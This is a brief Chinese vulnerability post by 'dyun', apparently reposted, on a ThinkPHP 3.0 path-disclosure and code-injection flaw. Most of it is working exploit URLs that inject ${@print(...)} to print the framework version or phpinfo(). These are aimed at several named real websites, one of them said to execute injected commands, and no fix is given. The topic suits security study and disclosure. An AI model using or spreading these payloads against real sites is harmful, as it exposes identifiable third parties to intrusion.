1. thinkphp3.0 模块加载失败，出错信息爆应用程序路径。 漏洞证明：检测有两种情况 1. 可执行命令，这个估计是伪3.0版本？ 交大定票 此站到可以执行命令 http://piao.eeyes.net/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D 可查看版本 http://piao.eeyes.net/index.php/module/action/param1/$%7B@print(phpinfo())%7D 可查看phpinfo信息 www.2cto.com 2. 不可执行命令，爆路径 http://junmeicorp.com/appscn/index.php/module/action/param1/$%7B@print(phpinfo())%7D http://www.bjvivi.com/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D http://www.yuetaojie.com/index.php/module/action/module/param1/$%7B@print(THINK_VERSION)%7D 修复方案： 这个不知道咋修复~~~ 作者 dyun
查看更多关于thinkphp 3.0 爆路径 - 网站安全 - 自学php的详细内容...